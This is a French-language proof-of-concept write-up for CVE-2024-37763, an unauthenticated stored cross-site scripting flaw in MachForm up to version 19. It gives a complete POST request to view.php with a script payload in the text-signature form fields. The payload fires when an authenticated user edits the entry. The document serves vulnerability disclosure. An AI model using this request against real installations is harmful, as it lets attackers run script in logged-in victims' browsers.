
Preuve de concept d'exploitation pour CVE-2024-37763, une XSS stockée non authentifiée dans MachForm jusqu'à la v19, démontrant l'injection de payload via des paramètres vulnérables dans view.php.
MachForm jusqu'à la version 19 est affecté par une vulnérabilité de script intersite stocké non authentifié qui affecte les utilisateurs ayant des sessions valides et pouvant consulter les résultats des formulaires compilés.
Dans l'application web cible, lors de l'utilisation d'un formulaire avec la signature textuelle activée, la requête adressée à la ressource vulnérable s'est avérée sujette à une attaque XSS. Un paramètre du corps de la requête POST dans l'URL vulnérable manque d'assainissement, ce qui permet de placer une charge utile malveillante et déclenche du code JavaScript sur le navigateur de la victime.
Les paramètres vulnérables sont dynamiques en fonction de l'emplacement où le composant de signature textuelle est placé dans le formulaire :
element_{element_number}_text_signatureelement_{element_number}Il est possible d'injecter une charge utile JavaScript dans les paramètres vulnérables.

Requête :
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
La charge utile se déclenche ensuite lorsqu'un utilisateur authentifié modifie l'entrée du résultat du formulaire.

